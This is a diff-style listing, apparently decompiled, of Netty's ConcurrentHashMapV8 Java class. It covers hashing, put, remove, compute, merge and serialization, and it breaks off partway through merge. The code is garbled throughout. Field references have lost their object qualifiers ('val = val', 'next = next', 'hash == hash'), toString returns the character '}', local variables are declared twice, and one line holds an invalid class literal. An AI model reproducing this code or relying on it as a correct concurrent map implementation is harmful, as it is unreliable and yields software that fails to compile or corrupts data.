+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConcurrentHashMapV8<K, V>
+  implements ConcurrentMap<K, V>, Serializable
+{
+  private static final long serialVersionUID = 7249069246763182397L;
+  private static final int MAXIMUM_CAPACITY = 1073741824;
+  private static final int DEFAULT_CAPACITY = 16;
+  static final int MAX_ARRAY_SIZE = 2147483639;
+  private static final int DEFAULT_CONCURRENCY_LEVEL = 16;
+  private static final float LOAD_FACTOR = 0.75F;
+  static final int TREEIFY_THRESHOLD = 8;
+  static final int UNTREEIFY_THRESHOLD = 6;
+  static final int MIN_TREEIFY_CAPACITY = 64;
+  private static final int MIN_TRANSFER_STRIDE = 16;
+  static final int MOVED = -1;
+  static final int TREEBIN = -2;
+  static final int RESERVED = -3;
+  static final int HASH_BITS = Integer.MAX_VALUE;
+  
+  public static abstract interface ConcurrentHashMapSpliterator<T>
+  {
+    public abstract ConcurrentHashMapSpliterator<T> trySplit();
+    
+    public abstract long estimateSize();
+    
+    public abstract void forEachRemaining(ConcurrentHashMapV8.Action<? super T> paramAction);
+    
+    public abstract boolean tryAdvance(ConcurrentHashMapV8.Action<? super T> paramAction);
+  }
+  
+  public static abstract interface Action<A>
+  {
+    public abstract void apply(A paramA);
+  }
+  
+  public static abstract interface BiAction<A, B>
+  {
+    public abstract void apply(A paramA, B paramB);
+  }
+  
+  public static abstract interface Fun<A, T>
+  {
+    public abstract T apply(A paramA);
+  }
+  
+  public static abstract interface BiFun<A, B, T>
+  {
+    public abstract T apply(A paramA, B paramB);
+  }
+  
+  public static abstract interface ObjectToDouble<A>
+  {
+    public abstract double apply(A paramA);
+  }
+  
+  public static abstract interface ObjectToLong<A>
+  {
+    public abstract long apply(A paramA);
+  }
+  
+  static final int NCPU = Runtime.getRuntime().availableProcessors();
+  
+
+  private static final ObjectStreamField[] serialPersistentFields = { new ObjectStreamField("segments", [Lio.netty.util.internal.chmv8.ConcurrentHashMapV8.Segment.class), new ObjectStreamField("segmentMask", Integer.TYPE), new ObjectStreamField("segmentShift", Integer.TYPE) };
+  
+  public static abstract interface ObjectToInt<A> { public abstract int apply(A paramA);
+  }
+  
+  public static abstract interface ObjectByObjectToDouble<A, B> { public abstract double apply(A paramA, B paramB);
+  }
+  
+  public static abstract interface ObjectByObjectToLong<A, B> { public abstract long apply(A paramA, B paramB);
+  }
+  
+  public static abstract interface ObjectByObjectToInt<A, B> { public abstract int apply(A paramA, B paramB);
+  }
+  
+  public static abstract interface DoubleByDoubleToDouble { public abstract double apply(double paramDouble1, double paramDouble2);
+  }
+  
+  public static abstract interface LongByLongToLong { public abstract long apply(long paramLong1, long paramLong2);
+  }
+  
+  public static abstract interface IntByIntToInt { public abstract int apply(int paramInt1, int paramInt2);
+  }
+  
+  static class Node<K, V> implements Map.Entry<K, V> { Node(int hash, K key, V val, Node<K, V> next) { this.hash = hash;
+      this.key = key;
+      this.val = val;
+      this.next = next;
+    }
+    
+    public final K getKey() { return key; }
+    public final V getValue() { return val; }
+    public final int hashCode() { return key.hashCode() ^ val.hashCode(); }
+    public final String toString() { return key + "=" + val; }
+    
+    public final V setValue(V value) { throw new UnsupportedOperationException(); }
+    
+    public final boolean equals(Object o) { Map.Entry<?, ?> e;
+      Object k;
+      Object v;
+      Object u; return ((o instanceof Map.Entry)) && ((k = (e = (Map.Entry)o).getKey()) != null) && ((v = e.getValue()) != null) && ((k == key) || (k.equals(key))) && ((v == (u = val)) || (v.equals(u)));
+    }
+    
+
+
+
+
+
+
+    Node<K, V> find(int h, Object k)
+    {
+      Node<K, V> e = this;
+      if (k != null) {
+        do {
+          K ek;
+          if ((hash == h) && (((ek = key) == k) || ((ek != null) && (k.equals(ek)))))
+          {
+            return e; }
+        } while ((e = next) != null);
+      }
+      return null;
+    }
+    
+
+
+
+    final int hash;
+    
+
+
+    final K key;
+    
+
+    volatile V val;
+    
+
+    volatile Node<K, V> next;
+  }
+  
+
+
+  static final int spread(int h)
+  {
+    return (h ^ h >>> 16) & 0x7FFFFFFF;
+  }
+  
+
+
+
+  private static final int tableSizeFor(int c)
+  {
+    int n = c - 1;
+    n |= n >>> 1;
+    n |= n >>> 2;
+    n |= n >>> 4;
+    n |= n >>> 8;
+    n |= n >>> 16;
+    return n >= 1073741824 ? 1073741824 : n < 0 ? 1 : n + 1;
+  }
+  
+
+
+
+  static Class<?> comparableClassFor(Object x)
+  {
+    if ((x instanceof Comparable)) {
+      Class<?> c;
+      if ((c = x.getClass()) == String.class)
+        return c;
+      Type[] ts; if ((ts = c.getGenericInterfaces()) != null) {
+        for (int i = 0; i < ts.length; i++) { Type t;
+          ParameterizedType p; Type[] as; if ((((t = ts[i]) instanceof ParameterizedType)) && ((p = (ParameterizedType)t).getRawType() == Comparable.class) && ((as = p.getActualTypeArguments()) != null) && (as.length == 1) && (as[0] == c))
+          {
+
+
+
+            return c; }
+        }
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+  static int compareComparables(Class<?> kc, Object k, Object x)
+  {
+    return (x == null) || (x.getClass() != kc) ? 0 : ((Comparable)k).compareTo(x);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final <K, V> Node<K, V> tabAt(Node<K, V>[] tab, int i)
+  {
+    return (Node)U.getObjectVolatile(tab, (i << ASHIFT) + ABASE);
+  }
+  
+  static final <K, V> boolean casTabAt(Node<K, V>[] tab, int i, Node<K, V> c, Node<K, V> v)
+  {
+    return U.compareAndSwapObject(tab, (i << ASHIFT) + ABASE, c, v);
+  }
+  
+  static final <K, V> void setTabAt(Node<K, V>[] tab, int i, Node<K, V> v) {
+    U.putObjectVolatile(tab, (i << ASHIFT) + ABASE, v);
+  }
+  
+
+
+
+
+
+
+  volatile transient Node<K, V>[] table;
+  
+
+
+
+
+
+  private volatile transient Node<K, V>[] nextTable;
+  
+
+
+
+
+  private volatile transient long baseCount;
+  
+
+
+
+
+  private volatile transient int sizeCtl;
+  
+
+
+
+
+  private volatile transient int transferIndex;
+  
+
+
+
+
+  private volatile transient int transferOrigin;
+  
+
+
+
+
+  private volatile transient int cellsBusy;
+  
+
+
+
+
+  private volatile transient CounterCell[] counterCells;
+  
+
+
+
+
+  private transient KeySetView<K, V> keySet;
+  
+
+
+
+
+  private transient ValuesView<K, V> values;
+  
+
+
+
+
+  private transient EntrySetView<K, V> entrySet;
+  
+
+
+
+
+  public ConcurrentHashMapV8(int initialCapacity)
+  {
+    if (initialCapacity < 0)
+      throw new IllegalArgumentException();
+    int cap = initialCapacity >= 536870912 ? 1073741824 : tableSizeFor(initialCapacity + (initialCapacity >>> 1) + 1);
+    
+
+    sizeCtl = cap;
+  }
+  
+
+
+
+
+  public ConcurrentHashMapV8(Map<? extends K, ? extends V> m)
+  {
+    sizeCtl = 16;
+    putAll(m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ConcurrentHashMapV8(int initialCapacity, float loadFactor)
+  {
+    this(initialCapacity, loadFactor, 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ConcurrentHashMapV8(int initialCapacity, float loadFactor, int concurrencyLevel)
+  {
+    if ((loadFactor <= 0.0F) || (initialCapacity < 0) || (concurrencyLevel <= 0))
+      throw new IllegalArgumentException();
+    if (initialCapacity < concurrencyLevel)
+      initialCapacity = concurrencyLevel;
+    long size = (1.0D + (float)initialCapacity / loadFactor);
+    int cap = size >= 1073741824L ? 1073741824 : tableSizeFor((int)size);
+    
+    sizeCtl = cap;
+  }
+  
+
+
+
+
+  public int size()
+  {
+    long n = sumCount();
+    return n > 2147483647L ? Integer.MAX_VALUE : n < 0L ? 0 : (int)n;
+  }
+  
+
+
+
+
+  public boolean isEmpty()
+  {
+    return sumCount() <= 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public V get(Object key)
+  {
+    int h = spread(key.hashCode());
+    Node<K, V>[] tab; int n; Node<K, V> e; if (((tab = table) != null) && ((n = tab.length) > 0) && ((e = tabAt(tab, n - 1 & h)) != null)) {
+      int eh;
+      if ((eh = hash) == h) { K ek;
+        if (((ek = key) == key) || ((ek != null) && (key.equals(ek)))) {
+          return val;
+        }
+      } else if (eh < 0) { Node<K, V> p;
+        return (p = e.find(h, key)) != null ? val : null; }
+      while ((e = next) != null) { K ek;
+        if ((hash == h) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+        {
+          return val; }
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    return get(key) != null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean containsValue(Object value)
+  {
+    if (value == null)
+      throw new NullPointerException();
+    Node<K, V>[] t;
+    if ((t = table) != null) {
+      Traverser<K, V> it = new Traverser(t, t.length, 0, t.length);
+      Node<K, V> p; while ((p = it.advance()) != null) {
+        V v;
+        if (((v = val) == value) || ((v != null) && (value.equals(v))))
+          return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public V put(K key, V value)
+  {
+    return putVal(key, value, false);
+  }
+  
+  final V putVal(K key, V value, boolean onlyIfAbsent)
+  {
+    if ((key == null) || (value == null)) throw new NullPointerException();
+    int hash = spread(key.hashCode());
+    int binCount = 0;
+    Node<K, V>[] tab = table;
+    for (;;) { int n;
+      if ((tab == null) || ((n = tab.length) == 0)) {
+        tab = initTable(); } else { int n;
+        int i; Node<K, V> f; if ((f = tabAt(tab, i = n - 1 & hash)) == null) {
+          if (casTabAt(tab, i, null, new Node(hash, key, value, null)))
+            break;
+        } else {
+          int fh;
+          if ((fh = hash) == -1) {
+            tab = helpTransfer(tab, f);
+          } else {
+            V oldVal = null;
+            synchronized (f) {
+              if (tabAt(tab, i) == f) {
+                if (fh >= 0) {
+                  binCount = 1;
+                  for (Node<K, V> e = f;; binCount++) {
+                    K ek;
+                    if ((hash == hash) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                    {
+
+                      oldVal = val;
+                      if (onlyIfAbsent) break;
+                      val = value; break;
+                    }
+                    
+                    Node<K, V> pred = e;
+                    if ((e = next) == null) {
+                      next = new Node(hash, key, value, null);
+                      
+                      break;
+                    }
+                  }
+                }
+                else if ((f instanceof TreeBin))
+                {
+                  binCount = 2;
+                  Node<K, V> p; if ((p = ((TreeBin)f).putTreeVal(hash, key, value)) != null)
+                  {
+                    oldVal = val;
+                    if (!onlyIfAbsent)
+                      val = value;
+                  }
+                }
+              }
+            }
+            if (binCount != 0) {
+              if (binCount >= 8)
+                treeifyBin(tab, i);
+              if (oldVal == null) break;
+              return oldVal;
+            }
+          }
+        }
+      } }
+    addCount(1L, binCount);
+    return null;
+  }
+  
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
+    tryPresize(m.size());
+    for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {
+      putVal(e.getKey(), e.getValue(), false);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public V remove(Object key)
+  {
+    return replaceNode(key, null, null);
+  }
+  
+
+
+
+
+  final V replaceNode(Object key, V value, Object cv)
+  {
+    int hash = spread(key.hashCode());
+    Node<K, V>[] tab = table;
+    int n;
+    int i; Node<K, V> f; while ((tab != null) && ((n = tab.length) != 0) && ((f = tabAt(tab, i = n - 1 & hash)) != null))
+    {
+      int fh;
+      if ((fh = hash) == -1) {
+        tab = helpTransfer(tab, f);
+      } else {
+        V oldVal = null;
+        boolean validated = false;
+        synchronized (f) {
+          if (tabAt(tab, i) == f) {
+            if (fh >= 0) {
+              validated = true;
+              Node<K, V> e = f;Node<K, V> pred = null;
+              for (;;) { K ek;
+                if ((hash == hash) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                {
+
+                  V ev = val;
+                  if ((cv == null) || (cv == ev) || ((ev != null) && (cv.equals(ev))))
+                  {
+                    oldVal = ev;
+                    if (value != null) {
+                      val = value;
+                    } else if (pred != null) {
+                      next = next;
+                    } else {
+                      setTabAt(tab, i, next);
+                    }
+                  }
+                } else {
+                  pred = e;
+                  if ((e = next) == null)
+                    break;
+                }
+              }
+            } else if ((f instanceof TreeBin)) {
+              validated = true;
+              TreeBin<K, V> t = (TreeBin)f;
+              TreeNode<K, V> r;
+              TreeNode<K, V> p; if (((r = root) != null) && ((p = r.findTreeNode(hash, key, null)) != null))
+              {
+                V pv = val;
+                if ((cv == null) || (cv == pv) || ((pv != null) && (cv.equals(pv))))
+                {
+                  oldVal = pv;
+                  if (value != null) {
+                    val = value;
+                  } else if (t.removeTreeNode(p))
+                    setTabAt(tab, i, untreeify(first));
+                }
+              }
+            }
+          }
+        }
+        if (validated) {
+          if (oldVal == null) break;
+          if (value == null)
+            addCount(-1L, -1);
+          return oldVal;
+        }
+      }
+    }
+    
+
+    return null;
+  }
+  
+
+
+  public void clear()
+  {
+    long delta = 0L;
+    int i = 0;
+    Node<K, V>[] tab = table;
+    while ((tab != null) && (i < tab.length))
+    {
+      Node<K, V> f = tabAt(tab, i);
+      if (f == null) {
+        i++; } else { int fh;
+        if ((fh = hash) == -1) {
+          tab = helpTransfer(tab, f);
+          i = 0;
+        }
+        else {
+          synchronized (f) {
+            if (tabAt(tab, i) == f) {
+              Node<K, V> p = (f instanceof TreeBin) ? first : fh >= 0 ? f : null;
+              
+
+              while (p != null) {
+                delta -= 1L;
+                p = next;
+              }
+              setTabAt(tab, i++, null);
+            }
+          }
+        }
+      } }
+    if (delta != 0L) {
+      addCount(delta, -1);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public KeySetView<K, V> keySet()
+  {
+    KeySetView<K, V> ks;
+    
+
+
+
+
+
+
+
+    return this.keySet = new KeySetView(this, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Collection<V> values()
+  {
+    ValuesView<K, V> vs;
+    
+
+
+
+
+
+
+
+    return this.values = new ValuesView(this);
+  }
+  
+
+
+
+
+
+
+
+
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    EntrySetView<K, V> es;
+    
+
+
+
+
+
+
+
+    return this.entrySet = new EntrySetView(this);
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    Node<K, V>[] t;
+    if ((t = table) != null) {
+      Traverser<K, V> it = new Traverser(t, t.length, 0, t.length);
+      Node<K, V> p; while ((p = it.advance()) != null)
+        h += (key.hashCode() ^ val.hashCode());
+    }
+    return h;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    Node<K, V>[] t;
+    
+
+
+
+
+    int f = (t = table) == null ? 0 : t.length;
+    Traverser<K, V> it = new Traverser(t, f, 0, f);
+    StringBuilder sb = new StringBuilder();
+    sb.append('{');
+    Node<K, V> p;
+    if ((p = it.advance()) != null) {
+      for (;;) {
+        K k = key;
+        V v = val;
+        sb.append(k == this ? "(this Map)" : k);
+        sb.append('=');
+        sb.append(v == this ? "(this Map)" : v);
+        if ((p = it.advance()) == null)
+          break;
+        sb.append(',').append(' ');
+      }
+    }
+    return '}';
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object o)
+  {
+    if (o != this) {
+      if (!(o instanceof Map))
+        return false;
+      Map<?, ?> m = (Map)o;
+      Node<K, V>[] t;
+      int f = (t = table) == null ? 0 : t.length;
+      Traverser<K, V> it = new Traverser(t, f, 0, f);
+      Node<K, V> p; while ((p = it.advance()) != null) {
+        V val = val;
+        Object v = m.get(key);
+        if ((v == null) || ((v != val) && (!v.equals(val))))
+          return false;
+      }
+      for (Map.Entry<?, ?> e : m.entrySet()) { Object mk;
+        Object mv;
+        Object v; if (((mk = e.getKey()) == null) || ((mv = e.getValue()) == null) || ((v = get(mk)) == null) || ((mv != v) && (!mv.equals(v))))
+        {
+
+
+          return false; }
+      }
+    }
+    return true;
+  }
+  
+  static class Segment<K, V> extends ReentrantLock implements Serializable
+  {
+    private static final long serialVersionUID = 2249069246763182397L;
+    final float loadFactor;
+    
+    Segment(float lf)
+    {
+      loadFactor = lf;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void writeObject(ObjectOutputStream s)
+    throws IOException
+  {
+    int sshift = 0;
+    int ssize = 1;
+    while (ssize < 16) {
+      sshift++;
+      ssize <<= 1;
+    }
+    int segmentShift = 32 - sshift;
+    int segmentMask = ssize - 1;
+    Segment<K, V>[] segments = (Segment[])new Segment[16];
+    
+    for (int i = 0; i < segments.length; i++)
+      segments[i] = new Segment(0.75F);
+    s.putFields().put("segments", segments);
+    s.putFields().put("segmentShift", segmentShift);
+    s.putFields().put("segmentMask", segmentMask);
+    s.writeFields();
+    
+    Node<K, V>[] t;
+    if ((t = table) != null) {
+      Traverser<K, V> it = new Traverser(t, t.length, 0, t.length);
+      Node<K, V> p; while ((p = it.advance()) != null) {
+        s.writeObject(key);
+        s.writeObject(val);
+      }
+    }
+    s.writeObject(null);
+    s.writeObject(null);
+    segments = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void readObject(ObjectInputStream s)
+    throws IOException, ClassNotFoundException
+  {
+    sizeCtl = -1;
+    s.defaultReadObject();
+    long size = 0L;
+    Node<K, V> p = null;
+    for (;;) {
+      K k = s.readObject();
+      V v = s.readObject();
+      if ((k == null) || (v == null)) break;
+      p = new Node(spread(k.hashCode()), k, v, p);
+      size += 1L;
+    }
+    
+
+
+    if (size == 0L) {
+      sizeCtl = 0;
+    } else { int n;
+      int n;
+      if (size >= 536870912L) {
+        n = 1073741824;
+      } else {
+        int sz = (int)size;
+        n = tableSizeFor(sz + (sz >>> 1) + 1);
+      }
+      
+      Node<K, V>[] tab = (Node[])new Node[n];
+      int mask = n - 1;
+      long added = 0L;
+      while (p != null)
+      {
+        Node<K, V> next = next;
+        int h = hash;int j = h & mask;
+        Node<K, V> first; boolean insertAtFront; boolean insertAtFront; if ((first = tabAt(tab, j)) == null) {
+          insertAtFront = true;
+        } else {
+          K k = key;
+          boolean insertAtFront; if (hash < 0) {
+            TreeBin<K, V> t = (TreeBin)first;
+            if (t.putTreeVal(h, k, val) == null)
+              added += 1L;
+            insertAtFront = false;
+          }
+          else {
+            int binCount = 0;
+            insertAtFront = true;
+            
+            for (Node<K, V> q = first; q != null; q = next) { K qk;
+              if ((hash == h) && (((qk = key) == k) || ((qk != null) && (k.equals(qk)))))
+              {
+
+                insertAtFront = false;
+                break;
+              }
+              binCount++;
+            }
+            if ((insertAtFront) && (binCount >= 8)) {
+              insertAtFront = false;
+              added += 1L;
+              next = first;
+              TreeNode<K, V> hd = null;TreeNode<K, V> tl = null;
+              for (q = p; q != null; q = next) {
+                TreeNode<K, V> t = new TreeNode(hash, key, val, null, null);
+                
+                if ((t.prev = tl) == null) {
+                  hd = t;
+                } else
+                  next = t;
+                tl = t;
+              }
+              setTabAt(tab, j, new TreeBin(hd));
+            }
+          }
+        }
+        if (insertAtFront) {
+          added += 1L;
+          next = first;
+          setTabAt(tab, j, p);
+        }
+        p = next;
+      }
+      table = tab;
+      sizeCtl = (n - (n >>> 2));
+      baseCount = added;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public V putIfAbsent(K key, V value)
+  {
+    return putVal(key, value, true);
+  }
+  
+
+
+
+
+  public boolean remove(Object key, Object value)
+  {
+    if (key == null)
+      throw new NullPointerException();
+    return (value != null) && (replaceNode(key, null, value) != null);
+  }
+  
+
+
+
+
+  public boolean replace(K key, V oldValue, V newValue)
+  {
+    if ((key == null) || (oldValue == null) || (newValue == null))
+      throw new NullPointerException();
+    return replaceNode(key, newValue, oldValue) != null;
+  }
+  
+
+
+
+
+
+
+  public V replace(K key, V value)
+  {
+    if ((key == null) || (value == null))
+      throw new NullPointerException();
+    return replaceNode(key, value, null);
+  }
+  
+
+
+
+
+
+
+  public V getOrDefault(Object key, V defaultValue)
+  {
+    V v;
+    
+
+
+
+
+
+    return (v = get(key)) == null ? defaultValue : v;
+  }
+  
+  public void forEach(BiAction<? super K, ? super V> action) {
+    if (action == null) throw new NullPointerException();
+    Node<K, V>[] t;
+    if ((t = table) != null) {
+      Traverser<K, V> it = new Traverser(t, t.length, 0, t.length);
+      Node<K, V> p; while ((p = it.advance()) != null) {
+        action.apply(key, val);
+      }
+    }
+  }
+  
+  public void replaceAll(BiFun<? super K, ? super V, ? extends V> function) {
+    if (function == null) throw new NullPointerException();
+    Node<K, V>[] t;
+    if ((t = table) != null) {
+      Traverser<K, V> it = new Traverser(t, t.length, 0, t.length);
+      Node<K, V> p; while ((p = it.advance()) != null) {
+        V oldValue = val;
+        K key = key;
+        for (;;) { V newValue = function.apply(key, oldValue);
+          if (newValue == null)
+            throw new NullPointerException();
+          if ((replaceNode(key, newValue, oldValue) != null) || ((oldValue = get(key)) == null)) {
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V computeIfAbsent(K key, Fun<? super K, ? extends V> mappingFunction)
+  {
+    if ((key == null) || (mappingFunction == null))
+      throw new NullPointerException();
+    int h = spread(key.hashCode());
+    V val = null;
+    int binCount = 0;
+    Node<K, V>[] tab = table;
+    for (;;) { int n;
+      if ((tab == null) || ((n = tab.length) == 0)) {
+        tab = initTable(); } else { int n;
+        int i; Node<K, V> f; if ((f = tabAt(tab, i = n - 1 & h)) == null) {
+          Node<K, V> r = new ReservationNode();
+          synchronized (r) {
+            if (casTabAt(tab, i, null, r)) {
+              binCount = 1;
+              Node<K, V> node = null;
+              try {
+                if ((val = mappingFunction.apply(key)) != null)
+                  node = new Node(h, key, val, null);
+              } finally {
+                setTabAt(tab, i, node);
+              }
+            }
+          }
+          if (binCount != 0)
+            break;
+        } else { int fh;
+          if ((fh = hash) == -1) {
+            tab = helpTransfer(tab, f);
+          } else {
+            boolean added = false;
+            synchronized (f) {
+              if (tabAt(tab, i) == f) {
+                if (fh >= 0) {
+                  binCount = 1;
+                  for (Node<K, V> e = f;; binCount++) {
+                    Object ek;
+                    if ((hash == h) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                    {
+
+                      val = val;
+                      break;
+                    }
+                    Node<K, V> pred = e;
+                    if ((e = next) == null) {
+                      if ((val = mappingFunction.apply(key)) == null) break;
+                      added = true;
+                      next = new Node(h, key, val, null); break;
+                    }
+                    
+                  }
+                  
+                }
+                else if ((f instanceof TreeBin)) {
+                  binCount = 2;
+                  TreeBin<K, V> t = (TreeBin)f;
+                  Object r;
+                  Object p; if (((r = root) != null) && ((p = ((TreeNode)r).findTreeNode(h, key, null)) != null))
+                  {
+                    val = val;
+                  } else if ((val = mappingFunction.apply(key)) != null) {
+                    added = true;
+                    t.putTreeVal(h, key, val);
+                  }
+                }
+              }
+            }
+            if (binCount != 0) {
+              if (binCount >= 8)
+                treeifyBin(tab, i);
+              if (added) break;
+              return val;
+            }
+          }
+        }
+      } }
+    if (val != null)
+      addCount(1L, binCount);
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V computeIfPresent(K key, BiFun<? super K, ? super V, ? extends V> remappingFunction)
+  {
+    if ((key == null) || (remappingFunction == null))
+      throw new NullPointerException();
+    int h = spread(key.hashCode());
+    V val = null;
+    int delta = 0;
+    int binCount = 0;
+    Node<K, V>[] tab = table;
+    for (;;) { int n;
+      if ((tab == null) || ((n = tab.length) == 0)) {
+        tab = initTable(); } else { int n;
+        int i; Node<K, V> f; if ((f = tabAt(tab, i = n - 1 & h)) == null) break;
+        int fh;
+        if ((fh = hash) == -1) {
+          tab = helpTransfer(tab, f);
+        } else {
+          synchronized (f) {
+            if (tabAt(tab, i) == f) {
+              if (fh >= 0) {
+                binCount = 1;
+                Node<K, V> e = f; for (Node<K, V> pred = null;; binCount++) {
+                  K ek;
+                  if ((hash == h) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                  {
+
+                    val = remappingFunction.apply(key, val);
+                    if (val != null) {
+                      val = val;
+                    } else {
+                      delta = -1;
+                      Node<K, V> en = next;
+                      if (pred != null) {
+                        next = en;
+                      } else {
+                        setTabAt(tab, i, en);
+                      }
+                    }
+                  } else {
+                    pred = e;
+                    if ((e = next) == null)
+                      break;
+                  }
+                }
+              } else if ((f instanceof TreeBin)) {
+                binCount = 2;
+                TreeBin<K, V> t = (TreeBin)f;
+                TreeNode<K, V> r;
+                TreeNode<K, V> p; if (((r = root) != null) && ((p = r.findTreeNode(h, key, null)) != null))
+                {
+                  val = remappingFunction.apply(key, val);
+                  if (val != null) {
+                    val = val;
+                  } else {
+                    delta = -1;
+                    if (t.removeTreeNode(p))
+                      setTabAt(tab, i, untreeify(first));
+                  }
+                }
+              }
+            }
+          }
+          if (binCount != 0) break;
+        }
+      }
+    }
+    if (delta != 0)
+      addCount(delta, binCount);
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V compute(K key, BiFun<? super K, ? super V, ? extends V> remappingFunction)
+  {
+    if ((key == null) || (remappingFunction == null))
+      throw new NullPointerException();
+    int h = spread(key.hashCode());
+    V val = null;
+    int delta = 0;
+    int binCount = 0;
+    Node<K, V>[] tab = table;
+    for (;;) { int n;
+      if ((tab == null) || ((n = tab.length) == 0)) {
+        tab = initTable(); } else { int n;
+        int i; Node<K, V> f; if ((f = tabAt(tab, i = n - 1 & h)) == null) {
+          Node<K, V> r = new ReservationNode();
+          synchronized (r) {
+            if (casTabAt(tab, i, null, r)) {
+              binCount = 1;
+              Node<K, V> node = null;
+              try {
+                if ((val = remappingFunction.apply(key, null)) != null) {
+                  delta = 1;
+                  node = new Node(h, key, val, null);
+                }
+              } finally {
+                setTabAt(tab, i, node);
+              }
+            }
+          }
+          if (binCount != 0)
+            break;
+        } else { int fh;
+          if ((fh = hash) == -1) {
+            tab = helpTransfer(tab, f);
+          } else {
+            synchronized (f) {
+              if (tabAt(tab, i) == f) {
+                if (fh >= 0) {
+                  binCount = 1;
+                  Node<K, V> e = f; for (Node<K, V> pred = null;; binCount++) {
+                    Object ek;
+                    if ((hash == h) && (((ek = key) == key) || ((ek != null) && (key.equals(ek)))))
+                    {
+
+                      val = remappingFunction.apply(key, val);
+                      if (val != null) {
+                        val = val; break;
+                      }
+                      delta = -1;
+                      Object en = next;
+                      if (pred != null) {
+                        next = ((Node)en);
+                      } else {
+                        setTabAt(tab, i, (Node)en);
+                      }
+                      break;
+                    }
+                    pred = e;
+                    if ((e = next) == null) {
+                      val = remappingFunction.apply(key, null);
+                      if (val == null) break;
+                      delta = 1;
+                      next = new Node(h, key, val, null); break;
+                    }
+                    
+                  }
+                  
+
+                }
+                else if ((f instanceof TreeBin)) {
+                  binCount = 1;
+                  TreeBin<K, V> t = (TreeBin)f;
+                  TreeNode<K, V> r;
+                  Object p; TreeNode<K, V> p; if ((r = root) != null) {
+                    p = r.findTreeNode(h, key, null);
+                  } else
+                    p = null;
+                  Object pv = p == null ? null : val;
+                  val = remappingFunction.apply(key, pv);
+                  if (val != null) {
+                    if (p != null) {
+                      val = val;
+                    } else {
+                      delta = 1;
+                      t.putTreeVal(h, key, val);
+                    }
+                  }
+                  else if (p != null) {
+                    delta = -1;
+                    if (t.removeTreeNode(p))
+                      setTabAt(tab, i, untreeify(first));
+                  }
+                }
+              }
+            }
+            if (binCount != 0) {
+              if (binCount < 8) break;
+              treeifyBin(tab, i); break;
+            }
+          }
+        }
+      } }
+    if (delta != 0)
+      addCount(delta, binCount);
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V merge(K key, V value, BiFun<? super V, ? super V, ? extends V> remappingFunction)
+  {
+    if ((key == null) || (value == null) || (remappingFunction == null))
+      throw new NullPointerException();
+    int h = spread(key.hashCode());
+    V val = null;
+    int delta = 0;
+    int binCount = 0;
+    Node<K, V>[] tab = table;
+    for (;;) { int n;
+      if ((tab == null) || ((n = tab.length) == 0)) {
+        tab = initTable(); } else { int n;
+        int i; Node<K, V> f; if ((f = tabAt(tab, i = n - 1 & h)) == null) {
+          if (casTabAt(tab, i, null, new Node(h, key, value, null))) {
+            delta = 1;
+            val = value;
+            break;
+          }
+        } else { int fh;
+          if ((fh = hash) == -1) {
+            tab = helpTransfer(tab, f);
+          } else {
+            synchronized (f) {
+              if (tabAt(tab, i) == f) {
+                if (fh >= 0) {
+                  binCount = 1;
